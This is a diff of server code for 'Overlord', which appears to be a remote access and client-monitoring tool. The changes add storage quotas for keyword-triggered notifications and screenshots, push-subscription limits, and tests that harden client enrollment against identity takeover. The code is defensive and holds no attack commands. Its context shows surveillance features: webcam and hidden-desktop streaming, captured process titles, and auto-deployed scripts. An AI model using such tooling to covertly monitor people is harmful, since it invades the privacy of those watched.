+ DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.globalBytes,
+ 16 * 1024 * 1024 * 1024,
+ ),
+ };
+}
+
+type ScreenshotQuotaRow = { count: number; bytes: number | null };
+type ScreenshotPruneRow = { id: string; bytes: number };
+
+function deleteNotificationScreenshotRows(
+ database: TypedDatabase,
+ ids: string[],
+): void {
+ if (ids.length === 0) return;
+ const placeholders = ids.map(() => "?").join(",");
+ database.run(
+ `UPDATE notifications SET screenshot_id=NULL WHERE screenshot_id IN (${placeholders})`,
+ ...ids,
);
+ database.run(
+ `DELETE FROM notification_screenshots WHERE id IN (${placeholders})`,
+ ...ids,
+ );
+}
+
+function pruneNotificationScreenshotScope(
+ database: TypedDatabase,
+ clientId: string | null,
+ protectedId: string,
+ incomingBytes: number,
+ maxCount: number,
+ maxBytes: number,
+): boolean {
+ const stats = clientId === null
+ ? database.query(
+ `SELECT COUNT(*) AS count, COALESCE(SUM(LENGTH(bytes)), 0) AS bytes
+ FROM notification_screenshots`,
+ ).get()
+ : database.query(
+ `SELECT COUNT(*) AS count, COALESCE(SUM(LENGTH(bytes)), 0) AS bytes
+ FROM notification_screenshots WHERE client_id=?`,
+ ).get(clientId);
+ let count = Number(stats?.count ?? 0);
+ let bytes = Number(stats?.bytes ?? 0);
+ if (count + 1 <= maxCount && bytes + incomingBytes <= maxBytes) return true;
+
+ const candidates = clientId === null
+ ? database.query(
+ `SELECT id, LENGTH(bytes) AS bytes FROM notification_screenshots
+ WHERE id<>?
+ ORDER BY ts ASC, id ASC LIMIT ?`,
+ ).all(protectedId, MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE)
+ : database.query(
+ `SELECT id, LENGTH(bytes) AS bytes FROM notification_screenshots
+ WHERE client_id=? AND id<>? ORDER BY ts ASC, id ASC LIMIT ?`,
+ ).all(clientId, protectedId, MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE);
+
+ const pruneIds: string[] = [];
+ for (const candidate of candidates) {
+ pruneIds.push(candidate.id);
+ count -= 1;
+ bytes -= Number(candidate.bytes || 0);
+ if (count + 1 <= maxCount && bytes + incomingBytes <= maxBytes) break;
+ }
+ deleteNotificationScreenshotRows(database, pruneIds);
+ return count + 1 <= maxCount && bytes + incomingBytes <= maxBytes;
+}
+
+/**
+ * Build the atomic screenshot writer separately so storage/quota behavior can
+ * be regression-tested against an isolated SQLite database.
+ */
+export function createNotificationScreenshotSaver(
+ database: TypedDatabase,
+ quotaProvider: () => NotificationScreenshotQuotaLimits = getNotificationScreenshotQuotaLimits,
+): (record: NotificationScreenshotRecord) => boolean {
+ const transaction = database.transaction((record: NotificationScreenshotRecord): boolean => {
+ const byteLength = record.bytes?.byteLength ?? 0;
+ if (byteLength <= 0 || byteLength > MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES) return false;
+
+ const notification = database.query<{ screenshot_id: string | null }>(
+ `SELECT screenshot_id FROM notifications WHERE id=? AND client_id=? LIMIT 1`,
+ ).get(record.notificationId, record.clientId);
+ if (!notification || notification.screenshot_id) return false;
+
+ const limits = quotaProvider();
+ if (
+ limits.perClientCount <= 0
+ || limits.perClientBytes <= 0
+ || limits.globalCount <= 0
+ || limits.globalBytes <= 0
+ || byteLength > limits.perClientBytes
+ || byteLength > limits.globalBytes
+ ) return false;
+
+ // Clean up a bounded number of rows left behind by older non-transactional
+ // writes before accounting for the new image.
+ const orphanRows = database.query<{ id: string }>(
+ `SELECT s.id FROM notification_screenshots s
+ LEFT JOIN notifications n
+ ON n.id=s.notification_id
+ AND n.client_id=s.client_id
+ AND n.screenshot_id=s.id
+ WHERE n.id IS NULL
+ AND s.id<>?
+ ORDER BY s.ts ASC, s.id ASC
+ LIMIT ?`,
+ ).all(record.id, MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE);
+ deleteNotificationScreenshotRows(database, orphanRows.map((row) => row.id));
+
+ const perClientSatisfied = pruneNotificationScreenshotScope(
+ database,
+ record.clientId,
+ record.id,
+ byteLength,
+ limits.perClientCount,
+ limits.perClientBytes,
+ );
+ const globalSatisfied = pruneNotificationScreenshotScope(
+ database,
+ null,
+ record.id,
+ byteLength,
+ limits.globalCount,
+ limits.globalBytes,
+ );
+ if (!perClientSatisfied || !globalSatisfied) return false;
+
+ database.run(
+ `INSERT INTO notification_screenshots
+ (id, notification_id, client_id, ts, format, width, height, bytes)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
+ record.id,
+ record.notificationId,
+ record.clientId,
+ record.ts,
+ record.format,
+ record.width ?? null,
+ record.height ?? null,
+ record.bytes,
+ );
+ const linked = database.run(
+ `UPDATE notifications SET screenshot_id=?
+ WHERE id=? AND client_id=? AND screenshot_id IS NULL`,
+ record.id,
+ record.notificationId,
+ record.clientId,
+ );
+ if (linked.changes !== 1) {
+ throw new Error("notification screenshot link race");
+ }
+ return true;
+ });
+
+ return transaction;
+}
+
+const saveNotificationScreenshotTx = createNotificationScreenshotSaver(db);
+
+export function saveNotificationScreenshot(record: NotificationScreenshotRecord): boolean {
+ return saveNotificationScreenshotTx(record);
}
export function getNotificationScreenshot(notificationId: string): NotificationScreenshotRecord | null {
@@ -1766,26 +2050,247 @@ export type NotificationRow = {
screenshotId?: string;
};
-export function saveNotification(record: NotificationRow) {
- db.run(
- `INSERT OR REPLACE INTO notifications
- (id, client_id, host, user, os, title, process, process_path, detail, pid, keyword, category, ts, screenshot_id)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
- record.id,
- record.clientId,
- record.host ?? null,
- record.user ?? null,
- record.os ?? null,
- record.title,
- record.process ?? null,
- record.processPath ?? null,
- record.detail ?? null,
- record.pid ?? null,
- record.keyword ?? null,
- record.category,
- record.ts,
- record.screenshotId ?? null,
+export type NotificationHistoryQuotaLimits = {
+ perClientCount: number;
+ perClientBytes: number;
+ globalCount: number;
+ globalBytes: number;
+};
+
+const DEFAULT_NOTIFICATION_HISTORY_QUOTAS: NotificationHistoryQuotaLimits = {
+ perClientCount: 100_000,
+ perClientBytes: 1024 * 1024 * 1024,
+ globalCount: 1_000_000,
+ globalBytes: 16 * 1024 * 1024 * 1024,
+};
+const MAX_NOTIFICATION_ROWS_PRUNED_PER_SAVE = 2_000;
+const NOTIFICATION_ROW_OVERHEAD_BYTES = 64;
+const NOTIFICATION_PAYLOAD_BYTES_SQL = `(
+ ${NOTIFICATION_ROW_OVERHEAD_BYTES}
+ + COALESCE(LENGTH(CAST(id AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(client_id AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(host AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(user AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(os AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(title AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(process AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(process_path AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(detail AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(keyword AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(category AS BLOB)), 0)
+ + COALESCE(LENGTH(CAST(screenshot_id AS BLOB)), 0)
+)`;
+
+function notificationHistoryLimit(
+ name: string,
+ fallback: number,
+ maximum: number,
+): number {
+ const value = Number(process.env[name]);
+ if (!Number.isSafeInteger(value) || value <= 0) return fallback;
+ return Math.min(value, maximum);
+}
+
+function getNotificationHistoryQuotaLimits(): NotificationHistoryQuotaLimits {
+ return {
+ perClientCount: notificationHistoryLimit(
+ "OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_COUNT",
+ DEFAULT_NOTIFICATION_HISTORY_QUOTAS.perClientCount,
+ 100_000,
+ ),
+ perClientBytes: notificationHistoryLimit(
+ "OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_BYTES",
+ DEFAULT_NOTIFICATION_HISTORY_QUOTAS.perClientBytes,
+ 1024 * 1024 * 1024,
+ ),
+ globalCount: notificationHistoryLimit(
+ "OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_COUNT",
+ DEFAULT_NOTIFICATION_HISTORY_QUOTAS.globalCount,
+ 1_000_000,
+ ),
+ globalBytes: notificationHistoryLimit(
+ "OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_BYTES",
+ DEFAULT_NOTIFICATION_HISTORY_QUOTAS.globalBytes,
+ 16 * 1024 * 1024 * 1024,
+ ),
+ };
+}
+
+function optionalNotificationStringBytes(value: string | undefined): number {
+ return value === undefined ? 0 : Buffer.byteLength(value, "utf8");
+}
+
+export function notificationPayloadBytes(record: NotificationRow): number {
+ return NOTIFICATION_ROW_OVERHEAD_BYTES
+ + Buffer.byteLength(record.id, "utf8")
+ + Buffer.byteLength(record.clientId, "utf8")
+ + optionalNotificationStringBytes(record.host)
+ + optionalNotificationStringBytes(record.user)
+ + optionalNotificationStringBytes(record.os)
+ + Buffer.byteLength(record.title, "utf8")
+ + optionalNotificationStringBytes(record.process)
+ + optionalNotificationStringBytes(record.processPath)
+ + optionalNotificationStringBytes(record.detail)
+ + optionalNotificationStringBytes(record.keyword)
+ + Buffer.byteLength(record.category, "utf8")
+ + optionalNotificationStringBytes(record.screenshotId);
+}
+
+function deleteNotificationHistoryRows(
+ database: TypedDatabase,
+ ids: string[],
+): void {
+ if (ids.length === 0) return;
+ const placeholders = ids.map(() => "?").join(",");
+ database.run(
+ `DELETE FROM notification_screenshots
+ WHERE notification_id IN (${placeholders})
+ OR id IN (
+ SELECT screenshot_id FROM notifications
+ WHERE id IN (${placeholders}) AND screenshot_id IS NOT NULL
+ )`,
+ ...ids,
+ ...ids,
);
+ database.run(
+ `DELETE FROM notifications WHERE id IN (${placeholders})`,
+ ...ids,
+ );
+}
+
+function pruneNotificationHistoryScope(
+ database: TypedDatabase,
+ clientId: string | null,
+ protectedId: string,
+ projectedCountDelta: number,
+ projectedBytesDelta: number,
+ maxCount: number,
+ maxBytes: number,
+): boolean {
+ const stats = clientId === null
+ ? database.query<{ count: number; bytes: number }>(
+ `SELECT COUNT(*) AS count,
+ COALESCE(SUM(${NOTIFICATION_PAYLOAD_BYTES_SQL}), 0) AS bytes
+ FROM notifications`,
+ ).get()
+ : database.query<{ count: number; bytes: number }>(
+ `SELECT COUNT(*) AS count,
+ COALESCE(SUM(${NOTIFICATION_PAYLOAD_BYTES_SQL}), 0) AS bytes
+ FROM notifications WHERE client_id=?`,
+ ).get(clientId);
+ let count = Number(stats?.count ?? 0) + projectedCountDelta;
+ let bytes = Number(stats?.bytes ?? 0) + projectedBytesDelta;
+ if (count <= maxCount && bytes <= maxBytes) return true;
+
+ const candidates = (clientId === null
+ ? database.query<{ id: string; bytes: number }>(
+ `SELECT id, ${NOTIFICATION_PAYLOAD_BYTES_SQL} AS bytes
+ FROM notifications
+ WHERE id<>?
+ ORDER BY ts ASC, id ASC
+ LIMIT ?`,
+ ).all(protectedId, MAX_NOTIFICATION_ROWS_PRUNED_PER_SAVE)
+ : database.query<{ id: string; bytes: number }>(
+ `SELECT id, ${NOTIFICATION_PAYLOAD_BYTES_SQL} AS bytes
+ FROM notifications
+ WHERE client_id=? AND id<>?
+ ORDER BY ts ASC, id ASC
+ LIMIT ?`,
+ ).all(clientId, protectedId, MAX_NOTIFICATION_ROWS_PRUNED_PER_SAVE));
+
+ const pruneIds: string[] = [];
+ for (const candidate of candidates) {
+ pruneIds.push(candidate.id);
+ count -= 1;
+ bytes -= Number(candidate.bytes || 0);
+ if (count <= maxCount && bytes <= maxBytes) break;
+ }
+ deleteNotificationHistoryRows(database, pruneIds);
+ return count <= maxCount && bytes <= maxBytes;
+}
+
+/** Build an atomic notification writer for isolated quota regression tests. */
+export function createNotificationSaver(
+ database: TypedDatabase,
+ quotaProvider: () => NotificationHistoryQuotaLimits = getNotificationHistoryQuotaLimits,
+): (record: NotificationRow) => boolean {
+ const transaction = database.transaction((record: NotificationRow): boolean => {
+ if (
+ typeof record.id !== "string"
+ || record.id.length === 0
+ || typeof record.clientId !== "string"
+ || record.clientId.length === 0
+ || typeof record.title !== "string"
+ || typeof record.category !== "string"
+ || !Number.isFinite(record.ts)
+ ) return false;
+
+ const limits = quotaProvider();
+ const bytes = notificationPayloadBytes(record);
+ if (
+ limits.perClientCount <= 0
+ || limits.perClientBytes <= 0
+ || limits.globalCount <= 0
+ || limits.globalBytes <= 0
+ || bytes > limits.perClientBytes
+ || bytes > limits.globalBytes
+ ) return false;
+
+ const existing = database.query<{ client_id: string; bytes: number }>(
+ `SELECT client_id, ${NOTIFICATION_PAYLOAD_BYTES_SQL} AS bytes
+ FROM notifications WHERE id=? LIMIT 1`,
+ ).get(record.id);
+ const existingInClientScope = existing?.client_id === record.clientId;
+
+ const perClientSatisfied = pruneNotificationHistoryScope(
+ database,
+ record.clientId,
+ record.id,
+ existingInClientScope ? 0 : 1,
+ bytes - (existingInClientScope ? Number(existing.bytes || 0) : 0),
+ limits.perClientCount,
+ limits.perClientBytes,
+ );
+ const globalSatisfied = pruneNotificationHistoryScope(
+ database,
+ null,
+ record.id,
+ existing ? 0 : 1,
+ bytes - Number(existing?.bytes || 0),
+ limits.globalCount,
+ limits.globalBytes,
+ );
+ if (!perClientSatisfied || !globalSatisfied) return false;
+
+ database.run(
+ `INSERT OR REPLACE INTO notifications
+ (id, client_id, host, user, os, title, process, process_path, detail, pid, keyword, category, ts, screenshot_id)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+ record.id,
+ record.clientId,
+ record.host ?? null,
+ record.user ?? null,
+ record.os ?? null,
+ record.title,
+ record.process ?? null,
+ record.processPath ?? null,
+ record.detail ?? null,
+ record.pid ?? null,
+ record.keyword ?? null,
+ record.category,
+ record.ts,
+ record.screenshotId ?? null,
+ );
+ return true;
+ });
+
+ return transaction;
+}
+
+const saveNotificationTx = createNotificationSaver(db);
+
+export function saveNotification(record: NotificationRow): boolean {
+ return saveNotificationTx(record);
}
export function updateNotificationScreenshotId(notificationId: string, screenshotId: string) {
@@ -1950,12 +2455,131 @@ export interface PushSubscriptionRecord {
createdAt: number;
}
-export function savePushSubscription(userId: number, endpoint: string, p256dh: string, auth: string): void {
+export interface PushSubscriptionLimits {
+ perUser: number;
+ global: number;
+}
+
+export type SavePushSubscriptionResult =
+ | { ok: true; action: "created" | "updated"; evictedEndpoint?: string }
+ | { ok: false; reason: "endpoint_conflict" }
+ | { ok: false; reason: "global_limit"; limit: number };
+
+function positivePushSubscriptionLimit(name: string, fallback: number, maximum: number): number {
+ const parsed = Number(process.env[name]);
+ if (!Number.isFinite(parsed) || parsed <= 0) return fallback;
+ return Math.min(maximum, Math.max(1, Math.floor(parsed)));
+}
+
+export function getPushSubscriptionLimits(): PushSubscriptionLimits {
+ return {
+ perUser: positivePushSubscriptionLimit(
+ "OVERLORD_MAX_PUSH_SUBSCRIPTIONS_PER_USER",
+ 10,
+ 1_000,
+ ),
+ global: positivePushSubscriptionLimit(
+ "OVERLORD_MAX_PUSH_SUBSCRIPTIONS",
+ 10_000,
+ 1_000_000,
+ ),
+ };
+}
+
+const savePushSubscriptionTx = db.transaction((
+ userId: number,
+ endpoint: string,
+ p256dh: string,
+ auth: string,
+ limits: PushSubscriptionLimits,
+): SavePushSubscriptionResult => {
+ const existing = db
+ .query<{ user_id: number }>(
+ `SELECT user_id FROM push_subscriptions WHERE endpoint=? LIMIT 1`,
+ )
+ .get(endpoint);
+
+ // Do not let one signed-in user take over another user's endpoint. Updating
+ // the keys for the endpoint's existing owner does not consume another slot.
+ if (existing) {
+ if (existing.user_id !== userId) {
+ return { ok: false, reason: "endpoint_conflict" };
+ }
+ db.run(
+ `UPDATE push_subscriptions
+ SET p256dh=?, auth=?, created_at=?
+ WHERE endpoint=? AND user_id=?`,
+ p256dh,
+ auth,
+ Date.now(),
+ endpoint,
+ userId,
+ );
+ return { ok: true, action: "updated" };
+ }
+
+ const userCount = Number(db
+ .query<{ count: number }>(
+ `SELECT COUNT(*) AS count FROM push_subscriptions WHERE user_id=?`,
+ )
+ .get(userId)?.count ?? 0);
+
+ let evictedEndpoint: string | undefined;
+ if (userCount >= limits.perUser) {
+ const oldest = db
+ .query<{ endpoint: string }>(
+ `SELECT endpoint FROM push_subscriptions
+ WHERE user_id=?
+ ORDER BY created_at ASC, id ASC
+ LIMIT 1`,
+ )
+ .get(userId);
+ if (oldest) {
+ db.run(
+ `DELETE FROM push_subscriptions WHERE endpoint=? AND user_id=?`,
+ oldest.endpoint,
+ userId,
+ );
+ evictedEndpoint = oldest.endpoint;
+ }
+ } else {
+ const globalCount = Number(db
+ .query<{ count: number }>(`SELECT COUNT(*) AS count FROM push_subscriptions`)
+ .get()?.count ?? 0);
+ if (globalCount >= limits.global) {
+ return { ok: false, reason: "global_limit", limit: limits.global };
+ }
+ }
+
db.run(
- `INSERT OR REPLACE INTO push_subscriptions (user_id, endpoint, p256dh, auth, created_at)
+ `INSERT INTO push_subscriptions (user_id, endpoint, p256dh, auth, created_at)
VALUES (?, ?, ?, ?, ?)`,
- userId, endpoint, p256dh, auth, Date.now(),
+ userId,
+ endpoint,
+ p256dh,
+ auth,
+ Date.now(),
);
+ return { ok: true, action: "created", ...(evictedEndpoint ? { evictedEndpoint } : {}) };
+});
+
+export function savePushSubscription(
+ userId: number,
+ endpoint: string,
+ p256dh: string,
+ auth: string,
+ limits: PushSubscriptionLimits = getPushSubscriptionLimits(),
+): SavePushSubscriptionResult {
+ const defaults = getPushSubscriptionLimits();
+ const normalizedLimits = {
+ perUser: Number.isFinite(limits.perUser)
+ ? Math.max(1, Math.min(1_000, Math.floor(limits.perUser)))
+ : defaults.perUser,
+ global: Number.isFinite(limits.global)
+ ? Math.max(1, Math.min(1_000_000, Math.floor(limits.global)))
+ : defaults.global,
+ };
+ return savePushSubscriptionTx(userId, endpoint, p256dh, auth, normalizedLimits);
}
export function deletePushSubscription(endpoint: string): void {
@@ -1976,9 +2600,15 @@ export function deletePushSubscriptionsByUser(userId: number): void {
}
export function getPushSubscriptionsByUser(userId: number): PushSubscriptionRecord[] {
+ const limit = getPushSubscriptionLimits().perUser;
return db
- .query(`SELECT * FROM push_subscriptions WHERE user_id=?`)
- .all(userId)
+ .query(
+ `SELECT * FROM push_subscriptions
+ WHERE user_id=?
+ ORDER BY created_at DESC, id DESC
+ LIMIT ?`,
+ )
+ .all(userId, limit)
.map((r: any) => ({
id: r.id,
userId: r.user_id,
@@ -1989,10 +2619,19 @@ export function getPushSubscriptionsByUser(userId: number): PushSubscriptionReco
}));
}
-export function getAllPushSubscriptions(): PushSubscriptionRecord[] {
+export function getAllPushSubscriptions(maxResults = getPushSubscriptionLimits().global): PushSubscriptionRecord[] {
+ const limit = Math.max(
+ 0,
+ Math.min(getPushSubscriptionLimits().global, Math.floor(Number(maxResults) || 0)),
+ );
+ if (limit === 0) return [];
return db
- .query(`SELECT * FROM push_subscriptions`)
- .all()
+ .query(
+ `SELECT * FROM push_subscriptions
+ ORDER BY created_at DESC, id DESC
+ LIMIT ?`,
+ )
+ .all(limit)
.map((r: any) => ({
id: r.id,
userId: r.user_id,
diff --git a/Overlord-Server/src/db/repositories/shared-files.ts b/Overlord-Server/src/db/repositories/shared-files.ts
index df2a5a5..a9095ac 100644
--- a/Overlord-Server/src/db/repositories/shared-files.ts
+++ b/Overlord-Server/src/db/repositories/shared-files.ts
@@ -130,6 +130,24 @@ export function incrementSharedFileDownloadCount(id: string): boolean {
return (result as any)?.changes ? (result as any).changes > 0 : false;
}
+/**
+ * Atomically reserves one download while enforcing expiry and max-downloads.
+ * The conditional UPDATE prevents concurrent requests from all observing the
+ * same stale download_count and overshooting the configured limit.
+ */
+export function claimSharedFileDownload(id: string, now = Date.now()): boolean {
+ const result = db.run(
+ `UPDATE shared_files
+ SET download_count = download_count + 1
+ WHERE id=?
+ AND (expires_at IS NULL OR expires_at >= ?)
+ AND (max_downloads IS NULL OR download_count < max_downloads)`,
+ id,
+ now,
+ );
+ return result.changes > 0;
+}
+
export function deleteExpiredSharedFiles(): string[] {
const now = Date.now();
const expired = db
diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts
index fcfa0bb..2268ab3 100644
--- a/Overlord-Server/src/db/schema.ts
+++ b/Overlord-Server/src/db/schema.ts
@@ -437,6 +437,9 @@ db.run(
db.run(
`CREATE INDEX IF NOT EXISTS idx_notification_screenshots_ts ON notification_screenshots(ts DESC);`,
);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_client_ts ON notification_screenshots(client_id, ts);`,
+);
db.run(`
CREATE TABLE IF NOT EXISTS notifications (
diff --git a/Overlord-Server/src/enrollment-security.test.ts b/Overlord-Server/src/enrollment-security.test.ts
new file mode 100644
index 0000000..f62d184
--- /dev/null
+++ b/Overlord-Server/src/enrollment-security.test.ts
@@ -0,0 +1,774 @@
+import { afterEach, describe, expect, test } from "bun:test";
+import * as clientManager from "./clientManager";
+import {
+ clientExists,
+ deleteClientRow,
+ getClientEnrollmentStatus,
+ getClientBuildOwnership,
+ getClientPublicKeyById,
+ upsertClientRow,
+ upsertPendingClientRow,
+} from "./db";
+import { encodeMessage } from "./protocol";
+import {
+ consumeClientIngressBudget,
+ createEnrollmentAdmissionController,
+ decodeCanonicalBase64,
+ getEnrollmentAdmissionStats,
+ handleWebSocketClose,
+ handleWebSocketMessage,
+ handleWebSocketOpen,
+ MAX_DISCONNECT_DETAIL_LENGTH,
+ MAX_DISCONNECT_REASON_LENGTH,
+ MAX_PROXY_TUNNEL_CHUNK_BYTES,
+ normalizeDisconnectInfo,
+ normalizeProxyTunnelChunk,
+} from "./server/routes/websocket-lifecycle-routes";
+import type { SocketData } from "./sessions/types";
+
+const createdClientIds = new Set();
+
+afterEach(() => {
+ for (const id of createdClientIds) {
+ clientManager.deleteClient(id);
+ deleteClientRow(id);
+ }
+ createdClientIds.clear();
+});
+
+function uniqueId(label: string): string {
+ const id = `security-${label}-${crypto.randomUUID()}`;
+ createdClientIds.add(id);
+ return id;
+}
+
+function createClientSocket(
+ clientId: string,
+ enrollmentState: SocketData["enrollmentState"],
+ enrollmentNonce?: string,
+) {
+ const closes: Array<{ code: number; reason: string }> = [];
+ return {
+ data: {
+ role: "client",
+ clientId,
+ ip: "127.0.0.1",
+ enrollmentState,
+ enrollmentNonce,
+ } satisfies SocketData,
+ closes,
+ sent: [] as Uint8Array[],
+ send(message: Uint8Array) {
+ this.sent.push(message);
+ },
+ close(code: number, reason: string) {
+ closes.push({ code, reason });
+ },
+ } as any;
+}
+
+function createLifecycleDeps(overrides: Record = {}) {
+ return {
+ maxClientPayloadBytes: 1024 * 1024,
+ maxViewerPayloadBytes: 1024 * 1024,
+ pendingScripts: new Map(),
+ pendingCommandReplies: new Map(),
+ rdStreamingState: new Map(),
+ backstageStreamingState: new Map(),
+ webcamStreamingState: new Map(),
+ getNotificationConfig: () => ({}),
+ dispatchAutoScriptsForConnection() {},
+ dispatchAutoDeploysForConnection() {},
+ dispatchAutoLoadPlugins() {},
+ sendDesktopCommand() {},
+ notifyDashboard() {},
+ notifyDashboardClientEvent() {},
+ broadcastClientEvent() {},
+ notifyRemoteDesktopStatus() {},
+ notifyRdInputLatency() {},
+ handleNotificationScreenshotFailure() {},
+ handleFileBrowserMessage() {},
+ handleProxyConnectResult() {},
+ ...overrides,
+ } as any;
+}
+
+describe("enrollment identity persistence", () => {
+ test("pending enrollment cannot overwrite an approved client's key", () => {
+ const victimId = uniqueId("approved-id");
+ expect(upsertClientRow({
+ id: victimId,
+ hwid: "shared-hwid",
+ enrollmentStatus: "approved",
+ publicKey: "approved-key",
+ host: "approved-host",
+ })).toBe(true);
+
+ expect(upsertPendingClientRow({
+ id: victimId,
+ hwid: "shared-hwid",
+ enrollmentStatus: "pending",
+ publicKey: "attacker-key",
+ host: "attacker-host",
+ })).toBe(false);
+
+ expect(getClientEnrollmentStatus(victimId)).toBe("approved");
+ expect(getClientPublicKeyById(victimId)).toBe("approved-key");
+ });
+
+ test("pending enrollment with a colliding HWID does not delete an approved client", () => {
+ const victimId = uniqueId("approved-hwid");
+ const pendingId = uniqueId("pending-hwid");
+ const sharedHwid = `shared-${crypto.randomUUID()}`;
+
+ upsertClientRow({
+ id: victimId,
+ hwid: sharedHwid,
+ enrollmentStatus: "approved",
+ publicKey: "approved-key",
+ });
+
+ expect(upsertPendingClientRow({
+ id: pendingId,
+ hwid: sharedHwid,
+ enrollmentStatus: "pending",
+ publicKey: "pending-key",
+ })).toBe(true);
+
+ expect(clientExists(victimId)).toBe(true);
+ expect(getClientEnrollmentStatus(victimId)).toBe("approved");
+ expect(getClientPublicKeyById(victimId)).toBe("approved-key");
+ expect(clientExists(pendingId)).toBe(true);
+ });
+
+ test("an approved different-key insert cannot replace or HWID-delete another approved client", () => {
+ const victimId = uniqueId("approved-generic");
+ const attackerId = uniqueId("approved-generic-attacker");
+ const sharedHwid = `shared-${crypto.randomUUID()}`;
+
+ upsertClientRow({
+ id: victimId,
+ hwid: sharedHwid,
+ enrollmentStatus: "approved",
+ publicKey: "approved-key",
+ });
+
+ expect(upsertClientRow({
+ id: victimId,
+ hwid: sharedHwid,
+ enrollmentStatus: "approved",
+ publicKey: "different-key",
+ })).toBe(false);
+ expect(upsertClientRow({
+ id: attackerId,
+ hwid: sharedHwid,
+ enrollmentStatus: "approved",
+ publicKey: "different-key",
+ })).toBe(true);
+
+ expect(clientExists(victimId)).toBe(true);
+ expect(getClientPublicKeyById(victimId)).toBe("approved-key");
+ });
+
+ test("an approved client cannot HWID-delete a denied identity", () => {
+ const deniedId = uniqueId("denied-hwid");
+ const approvedId = uniqueId("approved-denied-hwid-collision");
+ const sharedHwid = `shared-denied-${crypto.randomUUID()}`;
+
+ expect(upsertClientRow({
+ id: deniedId,
+ hwid: sharedHwid,
+ enrollmentStatus: "denied",
+ publicKey: `denied-key-${crypto.randomUUID()}`,
+ })).toBe(true);
+
+ expect(upsertClientRow({
+ id: approvedId,
+ hwid: sharedHwid,
+ enrollmentStatus: "approved",
+ publicKey: `approved-key-${crypto.randomUUID()}`,
+ })).toBe(true);
+
+ expect(clientExists(deniedId)).toBe(true);
+ expect(getClientEnrollmentStatus(deniedId)).toBe("denied");
+ expect(clientExists(approvedId)).toBe(true);
+ });
+
+ test("an approved client cannot HWID-delete a pending identity", () => {
+ const pendingId = uniqueId("pending-hwid-victim");
+ const approvedId = uniqueId("approved-pending-hwid-collision");
+ const sharedHwid = `shared-pending-${crypto.randomUUID()}`;
+
+ expect(upsertPendingClientRow({
+ id: pendingId,
+ hwid: sharedHwid,
+ enrollmentStatus: "pending",
+ publicKey: `pending-key-${crypto.randomUUID()}`,
+ ip: "198.51.100.200",
+ })).toBe(true);
+
+ expect(upsertClientRow({
+ id: approvedId,
+ hwid: sharedHwid,
+ enrollmentStatus: "approved",
+ publicKey: `approved-key-${crypto.randomUUID()}`,
+ })).toBe(true);
+
+ expect(clientExists(pendingId)).toBe(true);
+ expect(getClientEnrollmentStatus(pendingId)).toBe("pending");
+ expect(clientExists(approvedId)).toBe(true);
+ });
+
+ test("a legacy approved row without a key cannot be claimed during enrollment", () => {
+ const victimId = uniqueId("legacy-approved");
+ upsertClientRow({
+ id: victimId,
+ enrollmentStatus: "approved",
+ host: "legacy-approved-host",
+ });
+
+ expect(upsertPendingClientRow({
+ id: victimId,
+ enrollmentStatus: "pending",
+ publicKey: "new-key",
+ })).toBe(false);
+ expect(getClientEnrollmentStatus(victimId)).toBe("approved");
+ expect(getClientPublicKeyById(victimId)).toBeNull();
+ });
+
+ test("an enrolled build identity cannot be overwritten by client metadata", () => {
+ const clientId = uniqueId("immutable-build");
+ upsertClientRow({
+ id: clientId,
+ enrollmentStatus: "approved",
+ publicKey: "approved-key",
+ buildTag: "enrolled-build-tag",
+ builtByUserId: 10,
+ });
+
+ upsertClientRow({
+ id: clientId,
+ enrollmentStatus: "approved",
+ publicKey: "approved-key",
+ buildTag: "attacker-selected-tag",
+ builtByUserId: 999,
+ });
+
+ expect(getClientBuildOwnership(clientId)).toEqual({
+ buildTag: "enrolled-build-tag",
+ builtByUserId: 10,
+ });
+ });
+
+ test("one public key cannot reserve two client identities", async () => {
+ const firstId = uniqueId("same-key-first");
+ const secondId = uniqueId("same-key-second");
+ const publicKey = `shared-key-${crypto.randomUUID()}`;
+
+ const results = await Promise.all([
+ Promise.resolve().then(() => upsertPendingClientRow({
+ id: firstId,
+ publicKey,
+ enrollmentStatus: "pending",
+ })),
+ Promise.resolve().then(() => upsertPendingClientRow({
+ id: secondId,
+ publicKey,
+ enrollmentStatus: "pending",
+ })),
+ ]);
+
+ expect(results.filter(Boolean)).toHaveLength(1);
+ expect([clientExists(firstId), clientExists(secondId)].filter(Boolean)).toHaveLength(1);
+ });
+
+ test("one public key cannot reserve two approved identities", async () => {
+ const firstId = uniqueId("approved-same-key-first");
+ const secondId = uniqueId("approved-same-key-second");
+ const publicKey = `approved-shared-key-${crypto.randomUUID()}`;
+ const results = await Promise.all([
+ Promise.resolve().then(() => upsertClientRow({
+ id: firstId,
+ publicKey,
+ enrollmentStatus: "approved",
+ })),
+ Promise.resolve().then(() => upsertClientRow({
+ id: secondId,
+ publicKey,
+ enrollmentStatus: "approved",
+ })),
+ ]);
+ expect(results.filter(Boolean)).toHaveLength(1);
+ expect([clientExists(firstId), clientExists(secondId)].filter(Boolean)).toHaveLength(1);
+ });
+
+ test("caps fresh pending identities per source IP", () => {
+ const envName = "OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP";
+ const saved = process.env[envName];
+ process.env[envName] = "1";
+ try {
